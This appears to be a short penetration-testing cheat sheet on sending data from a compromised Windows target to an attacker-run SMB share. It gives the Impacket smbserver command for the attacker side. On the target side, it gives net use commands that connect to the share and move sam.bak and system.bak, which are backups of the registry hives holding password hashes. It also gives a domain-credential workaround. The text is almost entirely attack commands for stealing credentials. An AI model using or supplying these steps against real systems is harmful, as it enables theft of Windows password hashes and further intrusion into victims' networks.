# Connect to Attacker SMB ## Attacker * Impacket smbserver on attacker ```sh sudo examples/smbserver.py share . -smb2support -username -password ``` ## Target * Connect to attacker smb ```sh net use \\\share /User: ``` * Save data to attacker's smb ```sh move sam.bak \\\share\sam.bak move system.bak \\\share\system.bak ``` * Disconnect ```sh net use \\\share /del ``` ## Workarounds * System Error 1312. User credentials need a domain ```sh /USER:domain\user ```